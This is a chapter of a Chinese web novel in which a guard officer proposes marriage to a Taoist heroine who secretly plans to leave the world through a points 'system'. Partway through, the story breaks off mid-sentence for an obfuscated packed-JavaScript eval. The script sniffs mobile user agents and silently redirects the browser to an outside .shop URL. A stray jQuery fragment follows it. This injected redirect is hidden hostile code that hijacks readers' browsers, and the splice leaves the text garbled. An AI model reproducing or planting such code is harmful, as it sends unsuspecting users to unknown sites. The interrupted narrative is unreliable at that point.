夏楠将她脑袋掰过来,对着他。
“我直说,你必不肯应。”
“你没说,怎知我不肯应?”尚蓓没再躲,胳膊肘支着他胸膛,抬头看他,面上是明晃晃的不服气。
“因为你和舅公一样,总把那些大道理放在最前头。”夏楠羽睫半垂,掩去瞳中灯火,“我若拿不出冠冕堂皇的由头,你便要先讲是非,论黑白,而后再劝我收敛私情。”
尚蓓微愣。
她肩颈略松了些,伸手轻轻环住他腰际。感受到她的动作,夏楠臂弯收得更紧,胸腔里心跳贴着她共鸣。
“比如呢?”
“比如,你不肯跟我一道回来。”他声音有些闷闷的,“那时燕城灾情已无大碍,你自己分明清楚,但却硬要多留两日。我不说钦差有异,你便不肯同我一道走。”
“那时你……”
“还有指挥使查案。”他语气愈发幽怨,“没你的事,你还要请缨协助。你分明也舍不得我,不是把大道理放在私情前头?”
“我只是……”
“只是我一个人,没有你邱城的邻里重要。”夏楠微微偏头,鼻尖蹭蹭她耳垂,潮润的气息轻拂她耳膜,“除了委托和案子,你找我不能有旁的理由吗?”
尚蓓不说话了。她有些心虚地垂下眼,脸颊隐隐发烫。
她潜意识里好像总认为夏楠是个很强大的人,毕竟他出身将门父母双亡独自摸爬滚打五年当上镇抚使,却忘了他也会在月夜里后悔走上这条道。
“还有。”
夏楠鼻尖动了动,试图在纷乱的菊香中捕捉哪怕一点点血腥,却无论如何也没得到丝毫收获。
“你分明没来癸水,为什么推脱不肯喝酒?”
察觉到面前人呼吸微滞,他声音更闷。
“你在防我。对吗?”
“不是!”尚蓓心中有些紧张,立时不假思索答道,“我若是提防你,怎会放心跟你同行?你这般厉害,我若怕你,早就想方设法跑路了。”
“我只是……”她声音慢慢轻了下来,“只是怕你再套我话……毕竟,人都是有秘密的。”
想起两个月前酒楼的宴饮,夏楠一时有些愣怔。
他暗暗骂了自己一句。自己光觉得是在关心她的修行,没料她眼中是这般看待此事。
“我错了。”他认的极快,“你踩我罢。若不解气,打我也行。”
尚蓓一时未应。
她沉默,夏楠也不由得屏住了呼吸,仿佛在等待某种更残酷的审判。
“算了。”她闷闷出声,“反正我以后不会喝你的酒。”
夏楠心口微松,却又有些残存的滞涩。
良久,他犹豫着问出声。
“尚蓓,你……”
他声音有些低哑,却带着一丝小心翼翼的期冀。
“这十六日,你可曾想我?”
尚蓓指尖猛地收紧,将他腰后衣料揪成一团,头埋在他肩窝,几乎是气音轻应了一声:
“想。”
那声音极轻,像一只夏虫在草丛中轻轻振翅,又像一朵蓓蕾在春日里绽放,但夏楠却听得清清楚楚。
他抑制不住地扬起唇角,深深吸了口气,只觉满院菊韵都不如她身上淡淡的胰子清香动人。
这股香气,在京畿一带的官驿常见。她昨夜下榻时,想必仔细沐浴了一番。
“我也想你。”他声音放软,带着淡淡的祈求,“尚蓓,你可以一直留在京城吗?”
再次听到这个话题,尚蓓犹豫了一会,终是轻轻摇了下头。
“我方才说的也是实话,京城里鲜少有与我相熟的人,初次听我就是什么巽风真人了,难免把我当成神仙捧着,我不习惯。”
夏楠眸中闪过一丝失落,却听她深吸口气,看着她认真出声:“夏楠,我确实心悦你,但我也不想就此定居京城。我们……异地,不行吗?”
夏楠眼睛顿时亮了起来。
“你心悦我?”
尚蓓点点头:“是啊,反正我也不可能完全不管玉寿观的事务。不如这样,如果没有别的委托,每月我到京城来上任十日,若遇到你外出办差,就往后顺延,如何?”
“你当真心悦我?”夏楠又重复了一遍,声音愈发激动。
尚蓓眨眨眼,对上他热切的面色,有些别扭地移开视线:“不然呢?我会随便抱一个不相干的人吗?”
“那就好办了。”
夏楠虚虚松开她些,眼底藏着一丝隐秘的迫不及待,“我原想,先留你在京城,再……慢慢劝你。”
尚蓓眨眨眼,在他瞳中看到了自己明亮的倒影。
“劝我什……”
“可你心悦我,那便不必再费工夫了。”
他托起她的手,从怀中摸出一只朱红色的纸包,压在她掌心,又掰着她的手指握紧:“你不是要我的八字吗?给你。”
尚蓓低头,借着灯火看清纸包外两个烫金的大字。
[庚帖]
她“啊”地一声张大了嘴。
“我……”
“虽不知你师门有无其他规矩,但你既然喝酒也吃肉,应当属正一派的范畴吧?”
夏楠语速极快,似乎唯恐她松手,两掌上下合住她:“我打听过了,正一派道士可以成婚。聘礼我也都准备好了,只要你点头,我明日便请假去白鹿山提亲。”
“停停停!”尚蓓终于缓过劲来,“白鹿山就算了,我师尊……呃,他不关心这个的。”
“那你就是应下了?”夏楠眸色愈发明亮,连声音都激动得发颤,“那你说去哪儿?邱城还是邹城?”
尚蓓握着手中的烫金庚帖,感觉思绪乱糟糟的,分明她才鼓起勇气表白,怎么突然就开始谈婚论嫁了。
她低下头,举着庚帖挡住小半张脸,目光有些飘忽。
“我……我师门确实有些特殊的规矩。不过……也……也不是不能成婚。”
“什么规矩?”
夏楠面上有些紧张,虎口轻轻握住她的手腕,生怕听见半个不字。
尚蓓咬了咬下唇,指尖无意识地揉着庚帖的边缘。
“就是……”
“就是什么?”夏楠追问。
“就是……必须在猴年马月才能成婚!”
“猴年马月?”夏楠面色微顿,随后似乎沉思了半刻,恍然道:“那便是后年五月了?”
“对。”尚蓓面色十分诚恳,“猴年马月是我们祖师爷定下的吉时,在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758652|204329||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一月,祖师爷会下凡为弟子赐福。因此,在此之前,只可往互通心意,不能提前操办婚事,免得祖师爷不在场,少了这份福气。”
夏楠闻言顿时松了口气,指尖轻轻摩挲着她腕骨,低笑道:“我还当是什么难办的规矩,不就是等两年吗?别说两年,便是再过一甲子我也等得。”
尚蓓撇撇嘴:“一甲子,我都八十了,活不活得到那一日都未必呢。”
“你当然活得到。”夏楠语气微凝,声音有些低落,“不是阳寿随修为而长吗?倒是我,恐怕陪不了你那么久。”
尚蓓微愣,随即有些心虚地“哦”了一声。
“别瞎说,你一定也会长命百岁的。”
夏楠眉眼微舒。
“借你吉言。”
他又静静看了她片刻,才轻轻松开她的手腕,微微勾唇。
“进去吧。明日我送你去玉寿观。”
尚蓓应了一声,也有些依依不舍地转身。
行至屋前,她忽然回头看了他一眼,举起手中庚帖挥了挥。
“夏楠。”她声音很轻,“不论何时何地,十里之内,我定会去找你。”
夏楠站在廊下望着她,墨瞳翻滚着复杂的情绪。
少倾,他扬声应下:“好,我等你。”
尚蓓又站片刻,转身推门进屋。屋内一切如旧。
此前她在京两回,拢共待了也不过大半月,除了初时寻沈鸯那三日下榻驿馆,后来都借住于此。这里,俨然已经成了她半个家。比起那所谓的玉寿观,其实她倒更愿住在这里。
只是……毕竟她终究要离开这个世界,若是留下太多牵绊,走的时候只会更难受。与夏楠剖白心意,已经是她最大的放纵了。
她将神思投向系统,上面明晃晃写着:信誉分2840。
既然半年刷了将近3000分,那再过一年,应该差不多就能刷满一万分。为防万一,她多算了半年。现在是丙午年九月,一年半之后,正是戊申年二月。这么长的时间,只要她不算太摆烂,总归能刷满信誉分回家。
成语所谓猴年马月,指的其实是农历猴年的五月。
一个实际存在,但她不会到达的时间。
尚蓓点燃灯火,小心拆开手中庚帖,看见上面八个遒劲的大字。
[丙戌庚寅壬戌甲辰]
与脑海中的信息,一模一样。只是从今往后,她不必再想方设法解释自己知晓夏楠行踪的原因了。
那脑海中的坐标,此刻又进入了夏府后院的祠堂。
夏楠推开祠堂门,面对满屋牌位,认认真真磕了三个头,而后直起身子,声音里带着压不住的笑意:
“列祖列宗在上,不肖孙夏楠,今日总算得偿所愿,求得了心上人的应允。待后年五月,我便风光八面将她娶进门,给夏家添丁进口,延续香火,也不枉列祖列宗一直保佑我走到今日。”
说罢,他将香烛仔细插入香炉,另取了一柱香,转到一旁,打开暗格。
他认真敬了香,又拿起一旁软布,仔细擦了擦昨日香灰。
“你一定会长命百岁,尚蓓。”
“你也要长命百岁啊,夏楠。”
半宅之隔,相同的思绪在梦中纠缠。